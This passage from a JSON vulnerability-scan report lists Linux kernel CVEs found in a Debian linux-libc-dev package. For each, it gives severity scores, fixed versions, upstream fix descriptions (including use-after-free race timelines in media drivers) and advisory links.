"https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-19568.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/linus/a535a9217ca3f2fccedaafb2fddb4c48f27d36dc", "https://git.kernel.org/stable/c/1a0f2de81f7fbdc538fc72d7d74609b79bc83cc0", "https://git.kernel.org/stable/c/1de30576a6dfeaaa27ef91fa272e6b9240b6fbd3", "https://git.kernel.org/stable/c/34c1741254ff972e8375faf176678a248826fe3a", "https://git.kernel.org/stable/c/3f43f12fde34737fba091b7e3ab391e14ddbb0be", "https://git.kernel.org/stable/c/572f0bf536ebc14f6e7da3d21a85cf076de8358e", "https://git.kernel.org/stable/c/5e9cfffad898bbeaafd0ea608a6d267362f050fc", "https://git.kernel.org/stable/c/64c8553decf5a5f2417bd54761ea0a832c56c4ca", "https://git.kernel.org/stable/c/7201a531b9a5ed892bfda5ded9194ef622de8ffa", "https://git.kernel.org/stable/c/a535a9217ca3f2fccedaafb2fddb4c48f27d36dc", "https://linux.oracle.com/cve/CVE-2026-31532.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042349-CVE-2026-31532-a820@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31532", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31532" ], "PublishedDate": "2026-04-23T12:17:01.927Z", "LastModifiedDate": "2026-10-19T19:17:59.04Z" }, { "VulnerabilityID": "CVE-2026-31566", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31566", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:436028b1670b24b99458855f4c1e54467baea753a6635a17d8a50f9bc62323c2", "Title": "kernel: drm/amdgpu: Fix fence put before wait in amdgpu_amdkfd_submit_ib", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Fix fence put before wait in amdgpu_amdkfd_submit_ib\n\namdgpu_amdkfd_submit_ib() submits a GPU job and gets a fence\nfrom amdgpu_ib_schedule(). This fence is used to wait for job\ncompletion.\n\nCurrently, the code drops the fence reference using dma_fence_put()\nbefore calling dma_fence_wait().\n\nIf dma_fence_put() releases the last reference, the fence may be\nfreed before dma_fence_wait() is called. This can lead to a\nuse-after-free.\n\nFix this by waiting on the fence first and releasing the reference\nonly after dma_fence_wait() completes.\n\nFixes the below:\ndrivers/gpu/drm/amd/amdgpu/amdgpu_amdkfd.c:697 amdgpu_amdkfd_submit_ib() warn: passing freed memory 'f' (line 696)\n\n(cherry picked from commit 8b9e5259adc385b61a6590a13b82ae0ac2bd3482)", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-31566", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/linus/7150850146ebfa4ca998f653f264b8df6f7f85be%20%287.0-rc6%29", "https://git.kernel.org/stable/c/138e42be35ff2ce6572ae744de851ea286cf3c69", "https://git.kernel.org/stable/c/39820864eacd886f1a6f817414fb8f9ea3e9a2b4", "https://git.kernel.org/stable/c/42d248726a0837640452b71c5a202ca3d35239ec", "https://git.kernel.org/stable/c/7150850146ebfa4ca998f653f264b8df6f7f85be", "https://git.kernel.org/stable/c/bc7760c107dc08ef3e231d72c492e67b0a86848b", "https://git.kernel.org/stable/c/e23602eb0779760544314ed3905fa6a89a4e4070", "https://linux.oracle.com/cve/CVE-2026-31566.html", "https://linux.oracle.com/errata/ELSA-2026-71329.html", "https://lore.kernel.org/linux-cve-announce/2026042400-CVE-2026-31566-2d8b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31566", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31566" ], "PublishedDate": "2026-04-24T15:16:31.077Z", "LastModifiedDate": "2026-10-19T19:18:00.113Z" }, { "VulnerabilityID": "CVE-2026-31568", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31568", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f82485d0248adfc3d17ee7944953b4c1f6f4a4499270cfa93386c89c407aa939", "Title": "kernel: s390/mm: Add missing secure storage access fixups for donated memory", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/mm: Add missing secure storage access fixups for donated memory\n\nThere are special cases where secure storage access exceptions happen\nin a kernel context for pages that don't have the PG_arch_1 bit\nset. That bit is set for non-exported guest secure storage (memory)\nbut is absent on storage donated to the Ultravisor since the kernel\nisn't allowed to export donated pages.\n\nPrior to this patch we would try to export the page by calling\narch_make_folio_accessible() which would instantly return since the\narch bit is absent signifying that the page was already exported and\nno further action is necessary. This leads to secure storage access\nexception loops which can never be resolved.\n\nWith this patch we unconditionally try to export and if that fails we\nfixup.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31568", "https://git.kernel.org/linus/b00be77302d7ec4ad0367bb236494fce7172b730%20%287.0-rc6%29", "https://git.kernel.org/stable/c/1eb35c54cd81cf874ce7d69e3dbfb162f211b8bd", "https://git.kernel.org/stable/c/43ac2d18db1131df0a89993f709131ebfc29f3bd", "https://git.kernel.org/stable/c/48eda93e50f8361dee8e261fe55d0b31714e1e56", "https://git.kernel.org/stable/c/b00be77302d7ec4ad0367bb236494fce7172b730", "https://git.kernel.org/stable/c/b36b0e804aee5f20c6798dbeaeaa7cfdb7c6cf88", "https://lore.kernel.org/linux-cve-announce/2026042401-CVE-2026-31568-cefd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31568", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-31568" ], "PublishedDate": "2026-04-24T15:16:31.313Z", "LastModifiedDate": "2026-11-05T22:18:40.66Z" }, { "VulnerabilityID": "CVE-2026-31576", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31576", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9a7387b03cfdd255dde2f0d6bcae6bfd114e8591dfd1cf634935b11b9c9e3f42", "Title": "kernel: media: hackrf: fix to not free memory after the device is registered in hackrf_probe()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: hackrf: fix to not free memory after the device is registered in hackrf_probe()\n\nIn hackrf driver, the following race condition occurs:\n```\n\t\tCPU0\t\t\t\t\t\tCPU1\nhackrf_probe()\n kzalloc(); // alloc hackrf_dev\n ....\n v4l2_device_register();\n ....\n\t\t\t\t\t\tfd = sys_open(\"/path/to/dev\"); // open hackrf fd\n\t\t\t\t\t\t....\n v4l2_device_unregister();\n ....\n kfree(); // free hackrf_dev\n ....\n\t\t\t\t\t\tsys_ioctl(fd, ...);\n\t\t\t\t\t\t v4l2_ioctl();\n\t\t\t\t\t\t video_is_registered() // UAF!!\n\t\t\t\t\t\t....\n\t\t\t\t\t\tsys_close(fd);\n\t\t\t\t\t\t v4l2_release() // UAF!!\n\t\t\t\t\t\t hackrf_video_release()\n\t\t\t\t\t\t kfree(); // DFB!!\n```\n\nWhen a V4L2 or video device is unregistered, the device node is removed so\nnew open() calls are blocked.\n\nHowever, file descriptors that are already open-and any in-flight I/O-do\nnot terminate immediately; they remain valid until the last reference is\ndropped and the driver's release() is invoked.\n\nTherefore, freeing device memory on the error path after hackrf_probe()\nhas registered dev it will lead to a race to use-after-free vuln, since\nthose already-open handles haven't been released yet.\n\nAnd since release() free memory too, race to use-after-free and\ndouble-free vuln occur.\n\nTo prevent this, if device is registered from probe(), it should be\nmodified to free memory only through release() rather than calling\nkfree() directly.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31576", "https://git.kernel.org/linus/3b7da2b4d0fe014eff181ed37e3bf832eb8ed258%20%287.1-rc1%29", "https://git.kernel.org/stable/c/07e9e674b6146b1f6fc41b1f54b8968bf2802824", "https://git.kernel.org/stable/c/131ec9046e1c8af101aebdaec4e8095e05f3312b", "https://git.kernel.org/stable/c/2145c71a8044362e82e9923f001ba2aeb771b848", "https://git.kernel.org/stable/c/3b7da2b4d0fe014eff181ed37e3bf832eb8ed258", "https://git.kernel.org/stable/c/45cbaf5c7cdc5386d86377f0daf94a17a007fed0", "https://git.kernel.org/stable/c/67fd62e3efdc9dce01f76d95a745212f4feb38e6", "https://git.kernel.org/stable/c/87b9685cca91ed715c39ba544715832d26a7f4b4", "https://git.kernel.org/stable/c/98a0a81ce78020c2522e0046f49d200de9778cb9", "https://git.kernel.org/stable/c/fcd1d70792a35c8a97414fe429f48311e41269c2", "https://lore.kernel.org/linux-cve-announce/2026042410-CVE-2026-31576-e770@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31576", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31576" ], "PublishedDate": "2026-04-24T15:16:32.23Z", "LastModifiedDate": "2026-06-17T10:34:00.573Z" }, { "VulnerabilityID": "CVE-2026-31578", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31578", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3fd15b4f2a4a572350dbb74308870715be4cec9e2d31abda29a67764dc659e2f", "Title": "kernel: media: as102: fix to not free memory after the device is registered in as102_usb_probe()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: as102: fix to not free memory after the device is registered in as102_usb_probe()\n\nIn as102_usb driver, the following race condition occurs:\n```\n\t\tCPU0\t\t\t\t\t\tCPU1\nas102_usb_probe()\n kzalloc(); // alloc as102_dev_t\n ....\n usb_register_dev();\n\t\t\t\t\t\tfd = sys_open(\"/path/to/dev\"); // open as102 fd\n\t\t\t\t\t\t....\n usb_deregister_dev();\n ....\n kfree(); // free as102_dev_t\n ....\n\t\t\t\t\t\tsys_close(fd);\n\t\t\t\t\t\t as102_release() // UAF!!\n\t\t\t\t\t\t as102_usb_release()\n\t\t\t\t\t\t kfree(); // DFB!!\n```\n\nWhen a USB character device registered with usb_register_dev() is later\nunregistered (via usb_deregister_dev() or disconnect), the device node is\nremoved so new open() calls fail. However, file descriptors that are\nalready open do not go away immediately: they remain valid until the last\nreference is dropped and the driver's .release() is invoked.\n\nIn as102, as102_usb_probe() calls usb_register_dev() and then, on an\nerror path, does usb_deregister_dev() and frees as102_dev_t right away.\nIf userspace raced a successful open() before the deregistration, that\nopen FD will later hit as102_release() --\u003e as102_usb_release() and access\nor free as102_dev_t again, occur a race to use-after-free and\ndouble-free vuln.\n\nThe fix is to never kfree(as102_dev_t) directly once usb_register_dev()\nhas succeeded. After deregistration, defer freeing memory to .release().\n\nIn other words, let release() perform the last kfree when the final open\nFD is closed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31578", "https://git.kernel.org/linus/8bd29dbe03fc5b0f039ab2395ff37b64236d2f0c%20%287.1-rc1%29", "https://git.kernel.org/stable/c/07ceb444c8f627cf863864d4274b5a77769725ed", "https://git.kernel.org/stable/c/09e9206008b887aa553733bd915d73131071a086", "https://git.kernel.org/stable/c/0d36653a3a821e5a974798adb347b3ea09332914", "https://git.kernel.org/stable/c/25d500cf391e384356a612b85cf60b353ad3cd0c", "https://git.kernel.org/stable/c/2eeae47a438694408189138048a786be99954032", "https://git.kernel.org/stable/c/582fbecb3756330006fe1950762412a68c2cacd2", "https://git.kernel.org/stable/c/7e5aedf6059cba2a669d86caeaf5a51f33ec85a1", "https://git.kernel.org/stable/c/8bd29dbe03fc5b0f039ab2395ff37b64236d2f0c", "https://git.kernel.org/stable/c/cb8092038e95dc1113a68e63762de40fff61ba71", "https://linux.oracle.com/cve/CVE-2026-31578.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042410-CVE-2026-31578-fd48@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31578", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", 